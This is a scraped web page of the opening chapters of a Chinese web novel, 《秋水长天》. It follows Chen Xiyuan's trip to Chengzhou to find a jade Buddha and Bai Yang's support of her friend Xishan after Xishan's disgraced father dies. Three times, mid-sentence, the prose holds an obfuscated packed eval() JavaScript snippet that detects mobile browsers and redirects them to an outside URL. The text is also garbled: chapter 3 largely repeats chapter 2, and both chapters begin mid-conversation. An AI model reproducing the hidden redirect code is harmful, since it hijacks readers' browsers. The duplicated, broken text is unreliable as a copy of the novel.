《秋水长天》 1. 第 1 章 “问秦淮旧日窗寮,破纸迎风,坏槛当潮,目断魂消。当年粉黛,何处笙箫?罢灯船端阳不闹,收酒旗重九无聊……” 戏台上的到底是年轻姑娘,扮上了相,摇起了绢,唱起黄梅戏还是差那么两分韵味。尤其这一出,还是《桃花扇》里哀江南。 陈西原坐在二楼雕花椅上,往下觑一眼,歇了剥瓜子的手。 对面的蒋秘书看他动作,这才开始说话:“二哥,那块玉佛在南京那场拍卖会上已经让人给拍走了。” “哎。”他听见这结果,叹了口气,身体往后一躺,靠在椅背上。这是个很放松的姿势,话也说的放松:“老太太上了年纪,就惦记着这块玉呢,说什么不能害了老人家的兴。打听了吗,是谁拍走的?” 蒋秘书说:“问过那边的拍卖行了,只知道是个澄州的商人拍走的。” 澄州,那可是个好地方。 地处中国南境,人口最密集的城市之一。 南方不比北方,北方的权味儿重,一开口,往出打的都是官腔。南方钱味儿重,会做生意。叫人的时候姓氏后面不加先生女士,得要加老板,吉祥话也得说财源广进,生意兴隆。尤其是在澄州,近几年,想发财的都往澄州来。 陈西原这个权味浓厚的北方人,也是和那地方扯上关系了。 他又问了:“还有点详细的吗?是澄州的哪位老板,叫什么名字?” 蒋秘书有些为难了:“二哥,您也知道规矩,更何况出面拍卖的一般也不是正主,问了当时在场的人,拍走这块玉的是个年轻男人。” 他把手机拿出来,翻找到一张照片,推到陈西原面前,指了指上面一个身影:“这是当时现场有人拍的照片,就是这个穿黑西装的人拍走的玉。” 嘿呦呵,照片拍的是挺全面,可距离隔了挺远,又是从后面拍的,只能看见一堆背影,看不出什么东西来。 陈西原两指放大,勉强辨认了一下,这样的黑西装,放人堆了都找不出。难呐。 他收回手的时候,指尖有些误触,滑倒了旁边的一个人影身上。那是个姑娘,正好偏着头,照片里浮现她的半张侧脸。 因为被放大原因,像素有些糊,可就算是这样,仍能看出那姑娘实实在在地一副好相貌。陈西原不是重色的人,只是这个姑娘太眼熟,让他有点恍惚。 心底隐隐浮现一个名字,白杨。 他收回手,心思有点不在玉上了,问蒋秘书:“那场拍卖会人员名单有吗?” “这就有点难了。”蒋秘书推了推鼻梁上的眼镜,“毕竟过了那么长时间,而且有些卖家也不太愿意披露身份。” 陈西原点了点头,认下了这句话,没有再在这件事上多费文章。 “那我们……” 蒋秘书又试探性地开口,观察着他的脸色。 陈西原啧了一声,这块玉佛的成交价也就一百多万,这可是在澄州,能拿得出这些钱的人太多了。可毕竟现在正闲着,如今行动多受限制,不如亲自去一趟,也好消磨消磨时间。 “能怎么办。”他把手里的瓜子仁填进嘴里一颗,掸了掸手上的壳屑,继而说道:“下一趟江南吧。” “好。” “我记得澄州有个高厅长是前几年还调任北京,现在又被调回去了是吗?”陈西原道,往杯里添了一杯热茶,“进屋叫人,进庙拜神,帮我跟这位高厅长打个招呼吧。” “好的二哥。”蒋秘书再次点头应下。 台上的小姑娘还在继续唱着,婉婉转转又铿铿锵锵地到那一句:俺曾睡风流觉,将五十年兴亡看饱。那乌衣巷不姓王,莫愁湖鬼夜哭,凤凰台栖枭鸟。 整个楼里除了唱戏的姑娘,端茶上菜的小二,再没有别的什么人了,连说句话都是大动静。陈西原并不是什么喜欢搞排场的人,但无奈近年来年纪上来了,不太能受得了那些吵吵嚷嚷,反倒喜欢清净点。 于是茶楼里专门清了场,给陈先生安神。 蒋秘书再没什么别的要说,于是起身告辞,要走时,陈西原把人给叫住了,让他把手机里那张照片传给他一份。 之后楼里就剩下他一个人,茶杯里泡着贡眉,桌上摆着什锦果盘,里面的东西几乎没怎么动。只有一些剥开的瓜子壳在旁边。 陈西原对楼下的黄梅戏都有些兴致缺缺了,打开手机,翻看蒋秘书刚给他发过来的那张照片。 放大看,能看见那姑娘有些模糊的脸庞。 肤色很白,头发被低挽起来,有两缕还不听话道垂落在耳畔,身上一件白色印花的缎面修身长裙,身材纤细,嘴唇的颜色倒是挺艳的。仿佛鬼怪传说里挖人心的女妖精。 陈西原又将照片缩小,仔细看看,像,是真的像。他吻过数次的侧脸,自然记忆深刻。 只是却又有些出入,白杨那姑娘与图片里的女孩风格迥异,唇彩都拒绝涂这样鲜艳的颜色,更是一头黑发披肩,一双眼灿若星辰,往那儿一站,纯洁如处子。 他的心往下沉了沉,反手将手机倒扣在了桌面上。 楼下的歌声不知道什么时候停了,只剩下琵琶二胡还在继续。陈西原十指交叉搁在怀里,唇角放松时会微微上扬,然而眼中却多了些莫名的肃穆。 有个五六年了,没见着白姑娘,不晓得小姑娘现在过得怎么样。 兴许已经成家了。不过跟他都没什么关系了。 无非有点好奇,当年粉黛,何处笙箫? 他舔了舔干涩的嘴唇,站起身,也走了出去。 手机上弹出来一条消息,震动一下,叮咚一声,显示着杨珏时,问他跟哪儿搪桥呢,有辆车的钥匙好像落他那儿了,让他找找有没有下落。 陈西原懒得回,想关上手机,就又来了一条信息。 “西城某某支行行长魏安国被停职立案调查,涉嫌违规贷款,收受贿赂等。” 发信息的人是许慎,今京晚报的记者兼任编辑,算是他的“门下”。 这段时间类似的消息几乎不间断,不是这个被停职就是那个被调查,这个被留置那个被双规,人人风声鹤唳草木皆兵的,下了班就回家,绝不踏足外面的餐馆。 其实早一段就已经显示出来这种风向了,可就是有人喜欢顶风作案,那这就没办法了,都是人自找的。只是今天这个名字……怎么看着就是有点眼熟。 魏安国,想想,又不太能想起来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283145|151934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年纪大了记忆力也跟着下降了。 陈西原坐在了车上,才给许慎回过去一条:把手洗干净,能处理的尽量处理——必要的时候,当断则断。这段时间和谁都少见面。 “我知道二哥。”许慎很快回复过来。 这次真的彻底没什么消息了。他坐在地库里想了想,北京已经没什么好去处,不如趁早到澄州去看看,早找到那块玉,也能早给老太太一个交代,圆了她一个心愿,省得一天到晚净念叨了。 车子启动,开往公寓的方向。 北京的秋是灰白色的,凉风一过,捎着料峭寒意。临行前终究是被杨珏时拉着喝了一晚的酒,临了临了,这混球儿喝上了头,也不管是来给他送别的,左手搂着一个黑长直,右手拽着一个白高瘦,晃晃悠悠就去了房间。 也有小姑娘来贴他,吊着眼睛往他身上腻味,陈西原没什么兴致,伸手给挡了回去。 剩下的姑娘也都挺识趣,撇撇嘴,带着点惋惜的表情离开,房间里剩他一个人,还有电子屏上正在唱《你怎么舍得我难过》的黄品源。 他正唱到高潮:最爱你的人是我,你怎么舍得我难过。 他有点半醉,但意识都还清醒,于是直接定了最早的航班,让郑师傅开车送自己去机场。 刚六点钟,下车的时候风都还是凉的,刮在人脸上有些凛冽的刺痛,把他的酒意都驱散了大半,只是头更疼了。太阳穴一胀一胀,好像有什么东西要从里面跳出来似的。 陈西原无端地想起从前,白杨还在他身边的时候,那几年他都很少喝酒,她讨厌男人沾上酒气,他喝多一点她就要瞪眼睛,还牙尖嘴利地告诉他喝酒的人都活不长。在她的规训下,也算帮他戒掉了这么一个坏习惯。 最近这两天不知道怎么,频繁的想起白杨来,不晓得是不是个好兆头。 又刮来了一阵挺凶的风,把路边不知道是什么树的什么叶子给拐了一片下来,在天上悬了两圈,又不甘心地落回地面。 这才初秋啊,温度就降得这么快。 陈西原在心里想,今年冬天估计也是特别冷。 郑师傅送到之后,他就让人先回去了。办理完值机,就有些无聊地在候机室拿手机玩起了贪吃蛇。直到登机之后坐在位置上,昏昏沉沉地就睡了过去。 再醒来时已经距离北京十万八千里了,空乘温柔地提醒各位旅客打开遮光板,飞机即将降落。 已经要到澄州了。 三个半小时,到澄州时正好是晌午。 飞机跨越一面绵延的山川之后开始缓缓降落,最后在跑道上滑行了一段时间之后彻底停住,乘客们陆续离开。 他跻身在混乱的人群中,直到从行李转盘拿了行李,推着那个小箱子走出机场,扑面而来比北京的夏还要炽热的阳光时,陈西原混沌了一宿的脑子终于开始变得清明起来。 是,他想起来了。 白杨以前有个挺好的朋友,叫魏溪山,大学住一个宿舍,高高瘦瘦,还一直都不怎么待见他的那位。 她的父亲,好像就是叫魏安国这个名字。 陈西原心底暗笑了两声,要真是她爹,这一出戏唱下来还真是得要倒大霉了。 2. 第 2 章 白杨听完她的话,语气一下紧绷了起来:“你什么意思?” 溪山也没想到,一开口眼泪直接掉了下来,颤抖着对她说:“杨杨,我爸他突发心梗,走了……” “溪山,你别慌,我现在去找你。”白杨在电话那边说到,电话被挂断,嘟嘟地响着。 溪山扶着石栏蹲下,眼泪止不住地往下流。旁边坐着翻花绳的祖孙俩也被吓到了,奶奶带着孙女赶紧离开。 从澄州到北京打飞的要三个半小时,白杨是上午十点打的电话,下午三点就按响了溪山家的门铃。 房间里还是空空荡荡的两个人,家里什么人都没来,只有溪山妈妈一个人呜咽地在哭,给她开了门,又坐在沙发上哭。而溪山一个人在阳台打电话。 她的胳膊上,已经别上了黑色的袖套。 现在魏安国被调查起诉已经是人人皆知,哪怕是到了这种境地,哪怕他去世了,曾经的同事兄弟,还有亲朋好友也是避之不及,生怕沾上一点荤腥。 白杨坐在沙发上,箱子搁在一边,轻声安慰起了溪山妈妈,让她节哀顺变。 溪山打完电话,看见她,也难以提起什么笑脸迎接,只是叫了一声她的名字。白杨表示理解,坐过去抱了抱她,她埋在她的肩头,眼泪濡湿了一片布料。 “处理的怎么样了?”白杨开口问她。 “联系好了殡仪馆,尸体已经拉过去了,明天就能火化。” “墓地呢,墓地买了吗?” 溪山叹了一口气,不过两个月的时间,她整个人都憔悴的下来:“你也知道杨杨,北京这地方,寸土寸金的,我也是今天才知道,连块墓地动辄就要二十多万。更何况,这套房子很快也不是我们的了……” 这话还没说完,一直坐着哭的溪山妈妈猛然尖叫了一声,问她:“溪山,你说什么,房子怎么会不是我们的?这是我们自己的钱买的呀!” “妈,我爸贪的钱和搜的钱对不上,这套房子到时候可能会被拍卖,这房子是我爸和你的共同财产,到时候他的那部分会用来赔偿。现在我也不瞒你了,我已经被公司辞退了。你好好想想,剩下的钱,还要不要给爸买墓地。” 穆霖又要流眼泪,惹得溪山有些心烦意乱,忍不住说了她一句:“妈,你老这么哭回头再把眼睛给哭坏了,以后的日子肯定不太好过,你要有个心理准备。” “你说说,我们又没花他的钱,怎么还要给他还钱……”穆霖还在抽噎着,游移不定:“可是那毕竟是你爸,也不能让死了也不安生。” 溪山还要再说什么,白杨忽然拉住了她的手,语气坚定,不容置疑:“溪山,阿姨说得对,人死要落叶归根。墓地的事你不用操心,交给我就行。这几天你再面试面试别的公司,我带阿姨看房子,实在不行,跟我回澄州也好,我那里正好空着几套没人住。” 溪山回头去看白杨,到底是没有客气,沉声道了声谢。 近几年她们并不常见面,一个在北京,一个在澄州,两个人的工作又都很忙,只是偶尔打几个电话。所以溪山也不知道,白杨是什么时候,也可以独当一面了。 好在现在网络通讯实在发达,居民生活便利到几乎不敢想象的地步。白杨在网上很快找到一个墓地中介,第二天参加完魏安国的遗体告别仪式就去找了中介到墓园里看墓地。 那片墓园的风水极其好,依山傍水,里面还有好几座烈士的墓,说什么有利于往生者安息。她挺信这东西的,当即敲定下来要签合同。 带她来的那个中介有些不好意思地笑了笑:“抱歉白小姐,我们现在的墓地都是需要提前半年预定的,您看中的这个已经有人定了。” 听到这儿,白杨实在忍不住冷嗤了一声:“怎么着,我要是死的话,还得提前半年到阎王爷那儿摇号是吗?” 中介还挂着歉意的笑:“白小姐,您这话说得,也不是这个理啊。” 白杨没再跟他废话:“中介费我多给你一万,这块墓地我要了。” “白小姐,这不是钱的事。” “两万。” “我试试吧……” 程砚也没急着回澄州,留在北京,一直在因为溪山的事法院奔走。 那两天几个人都很忙碌,溪山每家公司挨个发简历,然后去跑面试。白杨就每天陪着穆霖阿姨看房子,拦得这个活并不太好作,穆霖阿姨还没能完全从以前的官太太身份中抽身出来,不是嫌弃这家房子靠近地铁会很吵,就是说那家房子太小,而且还没有保姆间。 几天下来,没有一个房子是称心如意的。转来转去,穆霖阿姨反过来对她说,杨杨,我还是想住原来的房子。 白杨有点头疼,不知道该怎么跟她说。怎么告诉她,阿姨,家里现在不比从前,你要学着接受。 由奢入俭,这个过程总是鲜血淋漓的,若不是被放逐,谁会愿意从云端踏入泥泞。尤其对于穆霖阿姨这样在云端生活了大半辈子的人,那样的生活是一层光闪闪的鳞片,嵌入她的身体,血肉交融。 溪山比她还要头疼,她投了简历,每个都通知她去面试,最后的结果却都轻飘飘的,邮件永远写着大同小异的话,很抱歉,不符合公司吊销调性,不符合用人条件,最后再附上一句美好祝愿。 说一句前途似锦。 魏溪山其实明白,北京的圈子就这么大,人人望风而动,消息都是相通的,在这个风口上谁也不愿牵扯进来,谁也不知道她父亲的事她有没有沾手,到时候成了“劣迹艺人”,损失也不可估量。 在这种情况下,步履都已经维艰了,又遑论前程似锦呢? 她等不到风波过去再重新卷土重来,房子即将被收回,她得有个落脚之地,更何况家里还有一个整天以泪洗面的富太太。 溪山整合了自己的资产,存款,补偿金,还有母亲的金饰珠宝,加在一起都没有多少,在北京这个地方可能也就是达官显贵一晚上的花销。 她坐在银行外面的长椅上偷偷地哭,觉得有些支撑不住。也开始怨恨起来已经逝去的父亲。为什么要贪呢,几千万的现金摆在那里,你不用,也不过一堆废纸。 她哭过之后,迅速做好了决定,对白杨说:“杨杨,北京我和我妈已经待不下去了,我想去澄州。” 真正收拾起来其实是说不上麻烦的,能简则简,不需要的那些东西全部留在这里卖掉,剩下的要用的东西寄到澄州,房子和车找中介出手,然后再等检察院的人进行资产审查。 收拾东西的时候,母亲已经哭了很多天,也已经哭不出来了,然而还是不住地唉声叹气,“这是我和你爸结婚十周年的时候他送我的,也不要了吗?” 溪山回她:“人都走了,还留着东西干什么。” 穆霖一捂眼睛,像是又要哭出来,白杨连忙在一边帮忙劝,才止住了一场风雨。 穆霖阿姨又说:“我听说南方那边蛇虫鼠蚁什么的特别多,会不会咬人的呀,还有天气,不是有那个什么回南天……” “妈。”溪山抬起头看她,眼中满是疲惫,像是无力再争辩什么:“我们不是去那里换个地方享福的,我们是不得不去澄州。北京已经没有我们的容身之地了,你能明白吗?” “我当然知道,就是……” 溪山打断她的话:“您知道就好,知道就别多问了,好好收拾收拾吧。” 白杨在一边帮忙整理,侧眼看着这一幕,心中哀叹。终究没有再说什么。 物是人非其实不用太长时间,只要某一天,某一件事,就足以击垮连日以来的积累,让人不得不改头换面。 就比如穆霖阿姨,家庭富足时,她是温柔体贴的妻子,细致入微的母亲,可是一朝落败,这种柔婉就成了犹豫不决,矮人看场。 甚至没有金钱依附之下的娇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283146|151934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气和小性子,一转眼,都成了惹人生厌的幼稚和拎不清。 在北京最后的两天,仿佛所有的一切都尘埃落定,就等最后宣判已知的结果。 白杨和魏溪山闲下来,最后逛了逛北京,坐公交车和地铁去了一趟西城区,到北海公园看了两眼。 以前她们上学时没少到这儿来玩,白杨特别喜欢湖中心那座白塔,那几年北京的空气还没现在这么差,天蓝得不像话,春夏时节杨柳翻飞,姑娘都还年轻,放眼处都没什么烦恼。 溪山曾经是个文艺女青年,有一次来北海时顺口背了两句徐志摩那首最著名的《再别康桥》,那河畔中的金柳,是夕阳中的新娘,波光里的艳影,在我的心头荡漾。 那时说来也巧,正好碰上几个结伴出游的北大学子,有个男孩就是在这儿对溪山一见钟情。 两人想起这些,也有点忍俊不禁,白杨问她:“他当时怎么形容你来着,说你是戴望舒的雨巷里,丁香一样结着愁怨的姑娘。后来怎么又分手了?” “后来他说,他又喜欢上了一位百合一样含露低垂的女孩。”溪山终日以来第一次放声笑了,长舒一口气:“那时候真年轻啊。” “那时候好多人喜欢你。” “你也是白杨。”溪山说,“只是那几年,你一直和陈西原在一起。” 白杨的表情僵在脸上一瞬,又似乎为了掩饰,扯出一个笑来。这个笑很快被北海的风吹散,她拿出打火机,护着火,在风里点燃了一根烟。 “他真可真混蛋,耽误了我三年。”她说,半晌又补充一句:“嫁不出去都赖他。” 溪山有些哑然,不知道该怎么接这句话。她一直都不太喜欢陈西原这个人,那种不喜欢也毫无根据,但她是真的希望白杨过得好的。 爱情这个东西,从来都是难得易舍,当生活里颇大点的风雨落下来时,再去惋惜情啊爱啊都会显得矫情。然而那些疼也是真实存在的,难以磨灭。 最后她问:“听说他还在北京,你想见他吗?” 白杨抽了一口烟,吐出浓雾,摇了摇头:“见了有什么用?” 谁都没有再提这个名字,她们沿着北海走了一圈,追忆青葱岁月,而后从西城到东城,在王府井吃以前最爱的面馆。 和溪山不同,这是白杨六年以来第一次在北京停留这么长时间,以前她从来都是匆匆地来匆匆地走,大部分还是借着在北京转机的空当。 北京在她的记忆里被蒙上了一层寒冬的晨雾,所有的事物都变得模棱两可,至今她已经想不起上学时那会儿她到底干了些什么,忘记了通宵看凌晨场次的电影之后,坐夏利出租车去东单街上喝一口豆汁提神,忘记了从海淀到怀柔往返两个小时看没有几个宾客的脱口秀表演。 只剩一个名字还是清晰的。 使她不得不一触景,就生情。 天气渐渐凉了,一早一晚尤其明显,满树郁郁葱葱的绿色之下挣扎出两片枯黄,被风吹的摇摇欲坠。 溪山拿腔拿调,故作深沉地叹了一口气:“你看,又是一年秋了。” 她侧目偷偷看了一眼身边的姑娘,溪山是那种清清冷冷的长相,黛眉月弯,鼻梁挺翘,神情放松时会不自觉冷凝,如今竟然带起了微微的苦相。 白杨点点头,风吹树叶在耳边鼓动,哗啦啦作响。她想,总会再长出来的——那些黄掉的树叶。 她们并步走过东单街,这里繁忙的时候也会拥挤,路过一家茶楼,门前没有任何车停着,挂着“暂不对外营业”的字样。 里面传来了丝丝婉转的女声,白杨来自江南,很轻易听出了那是黄梅戏。在唱孔尚任的《桃花扇》。她微顿了一下一下脚步,目光落在茶楼下晃动的木门窗,摇摆着,像在冲人招手。 里头临到最后一句:残山梦最真,旧境丢难掉,不信这舆图换稿!诌一套《哀江南》,放悲声唱到老。 3. 第 3 章 白杨听完她的话,语气一下紧绷了起来:“你什么意思?” 溪山也没想到,一开口眼泪直接掉了下来,颤抖着对她说:“杨杨,我爸他突发心梗,走了……” “溪山,你别慌,我现在去找你。”白杨在电话那边说到,电话被挂断,嘟嘟地响着。 溪山扶着石栏蹲下,眼泪止不住地往下流。旁边坐着翻花绳的祖孙俩也被吓到了,奶奶带着孙女赶紧离开。 从澄州到北京打飞的要三个半小时,白杨是上午十点打的电话,下午三点就按响了溪山家的门铃。 房间里还是空空荡荡的两个人,家里什么人都没来,只有溪山妈妈一个人呜咽地在哭,给她开了门,又坐在沙发上哭。而溪山一个人在阳台打电话。 她的胳膊上,已经别上了黑色的袖套。 现在魏安国被调查起诉已经是人人皆知,哪怕是到了这种境地,哪怕他去世了,曾经的同事兄弟,还有亲朋好友也是避之不及,生怕沾上一点荤腥。 白杨坐在沙发上,箱子搁在一边,轻声安慰起了溪山妈妈,让她节哀顺变。 溪山打完电话,看见她,也难以提起什么笑脸迎接,只是叫了一声她的名字。白杨表示理解,坐过去抱了抱她,她埋在她的肩头,眼泪濡湿了一片布料。 “处理的怎么样了?”白杨开口问她。 “联系好了殡仪馆,尸体已经拉过去了,明天就能火化。” “墓地呢,墓地买了吗?” 溪山叹了一口气,不过两个月的时间,她整个人都憔悴的下来:“你也知道杨杨,北京这地方,寸土寸金的,我也是今天才知道,连块墓地动辄就要二十多万。更何况,这套房子很快也不是我们的了……” 这话还没说完,一直坐着哭的溪山妈妈猛然尖叫了一声,问她:“溪山,你说什么,房子怎么会不是我们的?这是我们自己的钱买的呀!” “妈,我爸贪的钱和搜的钱对不上,这套房子到时候可能会被拍卖,这房子是我爸和你的共同财产,到时候他的那部分会用来赔偿。现在我也不瞒你了,我已经被公司辞退了。你好好想想,剩下的钱,还要不要给爸买墓地。” 穆霖又要流眼泪,惹得溪山有些心烦意乱,忍不住说了她一句:“妈,你老这么哭回头再把眼睛给哭坏了,以后的日子肯定不太好过,你要有个心理准备。” “你说说,我们又没花他的钱,怎么还要给他还钱……”穆霖还在抽噎着,游移不定:“可是那毕竟是你爸,也不能让死了也不安生。” 溪山还要再说什么,白杨忽然拉住了她的手,语气坚定,不容置疑:“溪山,阿姨说得对,人死要落叶归根。墓地的事你不用操心,交给我就行。这几天你再面试面试别的公司,我带阿姨看房子,实在不行,跟我回澄州也好,我那里正好空着几套没人住。” 溪山回头去看白杨,到底是没有客气,沉声道了声谢。 近几年她们并不常见面,一个在北京,一个在澄州,两个人的工作又都很忙,只是偶尔打几个电话。所以溪山也不知道,白杨是什么时候,也可以独当一面了。 好在现在网络通讯实在发达,居民生活便利到几乎不敢想象的地步。白杨在网上很快找到一个墓地中介,第二天参加完魏安国的遗体告别仪式就去找了中介到墓园里看墓地。 那片墓园的风水极其好,依山傍水,里面还有好几座烈士的墓,说什么有利于往生者安息。她挺信这东西的,当即敲定下来要签合同。 带她来的那个中介有些不好意思地笑了笑:“抱歉白小姐,我们现在的墓地都是需要提前半年预定的,您看中的这个已经有人定了。” 听到这儿,白杨实在忍不住冷嗤了一声:“怎么着,我要是死的话,还得提前半年到阎王爷那儿摇号是吗?” 中介还挂着歉意的笑:“白小姐,您这话说得,也不是这个理啊。” 白杨没再跟他废话:“中介费我多给你一万,这块墓地我要了。” “白小姐,这不是钱的事。” “两万。” “我试试吧……” 程砚也没急着回澄州,留在北京,一直在因为溪山的事法院奔走。 那两天几个人都很忙碌,溪山每家公司挨个发简历,然后去跑面试。白杨就每天陪着穆霖阿姨看房子,拦得这个活并不太好作,穆霖阿姨还没能完全从以前的官太太身份中抽身出来,不是嫌弃这家房子靠近地铁会很吵,就是说那家房子太小,而且还没有保姆间。 几天下来,没有一个房子是称心如意的。转来转去,穆霖阿姨反过来对她说,杨杨,我还是想住原来的房子。 白杨有点头疼,不知道该怎么跟她说。怎么告诉她,阿姨,家里现在不比从前,你要学着接受。 由奢入俭,这个过程总是鲜血淋漓的,若不是被放逐,谁会愿意从云端踏入泥泞。尤其对于穆霖阿姨这样在云端生活了大半辈子的人,那样的生活是一层光闪闪的鳞片,嵌入她的身体,血肉交融。 溪山比她还要头疼,她投了简历,每个都通知她去面试,最后的结果却都轻飘飘的,邮件永远写着大同小异的话,很抱歉,不符合公司吊销调性,不符合用人条件,最后再附上一句美好祝愿。 说一句前途似锦。 魏溪山其实明白,北京的圈子就这么大,人人望风而动,消息都是相通的,在这个风口上谁也不愿牵扯进来,谁也不知道她父亲的事她有没有沾手,到时候成了“劣迹艺人”,损失也不可估量。 在这种情况下,步履都已经维艰了,又遑论前程似锦呢? 她等不到风波过去再重新卷土重来,房子即将被收回,她得有个落脚之地,更何况家里还有一个整天以泪洗面的富太太。 溪山整合了自己的资产,存款,补偿金,还有母亲的金饰珠宝,加在一起都没有多少,在北京这个地方可能也就是达官显贵一晚上的花销。 她坐在银行外面的长椅上偷偷地哭,觉得有些支撑不住。也开始怨恨起来已经逝去的父亲。为什么要贪呢,几千万的现金摆在那里,你不用,也不过一堆废纸。 她哭过之后,迅速做好了决定,对白杨说:“杨杨,北京我和我妈已经待不下去了,我想去澄州。” 真正收拾起来其实是说不上麻烦的,能简则简,不需要的那些东西全部留在这里卖掉,剩下的要用的东西寄到澄州,房子和车找中介出手,然后再等检察院的人进行资产审查。 收拾东西的时候,母亲已经哭了很多天,也已经哭不出来了,然而还是不住地唉声叹气,“这是我和你爸结婚十周年的时候他送我的,也不要了吗?” 溪山回她:“人都走了,还留着东西干什么。” 穆霖一捂眼睛,像是又要哭出来,白杨连忙在一边帮忙劝,才止住了一场风雨。 穆霖阿姨又说:“我听说南方那边蛇虫鼠蚁什么的特别多,会不会咬人的呀,还有天气,不是有那个什么回南天……” “妈。”溪山抬起头看她,眼中满是疲惫,像是无力再争辩什么:“我们不是去那里换个地方享福的,我们是不得不去澄州。北京已经没有我们的容身之地了,你能明白吗?” “我当然知道,就是……” 溪山打断她的话:“您知道就好,知道就别多问了,好好收拾收拾吧。” 白杨在一边帮忙整理,侧眼看着这一幕,心中哀叹。终究没有再说什么。 物是人非其实不用太长时间,只要某一天,某一件事,就足以击垮连日以来的积累,让人不得不改头换面。 就比如穆霖阿姨,家庭富足时,她是温柔体贴的妻子,细致入微的母亲,可是一朝落败,这种柔婉就成了犹豫不决,矮人看场。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283147|151934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>甚至没有金钱依附之下的娇气和小性子,一转眼,都成了惹人生厌的幼稚和拎不清。 在北京最后的两天,仿佛所有的一切都尘埃落定,就等最后宣判已知的结果。 白杨和魏溪山闲下来,最后逛了逛北京,坐公交车和地铁去了一趟西城区,到北海公园看了两眼。 以前她们上学时没少到这儿来玩,白杨特别喜欢湖中心那座白塔,那几年北京的空气还没现在这么差,天蓝得不像话,春夏时节杨柳翻飞,姑娘都还年轻,放眼处都没什么烦恼。 溪山曾经是个文艺女青年,有一次来北海时顺口背了两句徐志摩那首最著名的《再别康桥》,那河畔中的金柳,是夕阳中的新娘,波光里的艳影,在我的心头荡漾。 那时说来也巧,正好碰上几个结伴出游的北大学子,有个男孩就是在这儿对溪山一见钟情。 两人想起这些,也有点忍俊不禁,白杨问她:“他当时怎么形容你来着,说你是戴望舒的雨巷里,丁香一样结着愁怨的姑娘。后来怎么又分手了?” “后来他说,他又喜欢上了一位百合一样含露低垂的女孩。”溪山终日以来第一次放声笑了,长舒一口气:“那时候真年轻啊。” “那时候好多人喜欢你。” “你也是白杨。”溪山说,“只是那几年,你一直和陈西原在一起。” 白杨的表情僵在脸上一瞬,又似乎为了掩饰,扯出一个笑来。这个笑很快被北海的风吹散,她拿出打火机,护着火,在风里点燃了一根烟。 “他真坏啊,耽误了我三年。”她说。 溪山有些哑然,不知道该怎么接这句话。她一直都不太喜欢陈西原这个人,那种不喜欢也毫无根据,但她是真的希望白杨过得好的。 爱情这个东西,从来都是难得易舍,当生活里颇大点的风雨落下来时,再去惋惜情啊爱啊都会显得矫情。然而那些疼也是真实存在的,难以磨灭。 最后她问:“听说他还在北京,你想见他吗?” 白杨抽了一口烟,吐出浓雾,摇了摇头:“见了有什么用?” 谁都没有再提这个名字,她们沿着北海走了一圈,追忆青葱岁月,而后从西城到东城,在王府井吃以前最爱的面馆。 和溪山不同,这是白杨六年以来第一次在北京停留这么长时间,以前她从来都是匆匆地来匆匆地走,大部分还是借着在北京转机的空当。 北京在她的记忆里被蒙上了一层寒冬的晨雾,所有的事物都变得模棱两可,至今她已经想不起上学时那会儿她到底干了些什么,忘记了通宵看凌晨场次的电影之后,坐夏利出租车去东单街上喝一口豆汁提神,忘记了从海淀到怀柔往返两个小时看没有几个宾客的脱口秀表演。 只剩一个名字还是清晰的。 使她不得不一触景,就生情。 天气渐渐凉了,一早一晚尤其明显,满树郁郁葱葱的绿色之下挣扎出两片枯黄,被风吹的摇摇欲坠。 溪山拿腔拿调,故作深沉地叹了一口气:“你看,又是一年秋了。” 她侧目偷偷看了一眼身边的姑娘,溪山是那种清清冷冷的长相,黛眉月弯,鼻梁挺翘,神情放松时会不自觉冷凝,如今竟然带起了微微的苦相。 白杨点点头,风吹树叶在耳边鼓动,哗啦啦作响。她想,总会再长出来的——那些黄掉的树叶。 她们并步走过东单街,这里繁忙的时候也会拥挤,路过一家茶楼,门前没有任何车停着,挂着“暂不对外营业”的字样。 里面传来了丝丝婉转的女声,白杨来自江南,很轻易听出了那是黄梅戏。在唱孔尚任的《桃花扇》。她微顿了一下一下脚步,目光落在茶楼下晃动的木门窗,摇摆着,像在冲人招手。 里头临到最后一句:残山梦最真,旧境丢难掉,不信这舆图换稿!诌一套《哀江南》,放悲声唱到老。 4. 第 4 章 陈西原一手拉着箱子,另一只手握起手机看了看时间,将近上午十点。 太阳正浓烈时。 他也没想到澄州的天气和北京比起来会如此大相径庭,九月份,温度比北边的三伏天还要高。他恰好穿一件黑色衬衫,热量汇聚到织物再传感到皮肤,隐约有些灼烧的痛感。 高厅长知晓他要来澄州登门的消息,但具体是哪天并不知道。他也懒得这么早就告知,弄得大张旗鼓,再回头,连安生觉都睡不好。 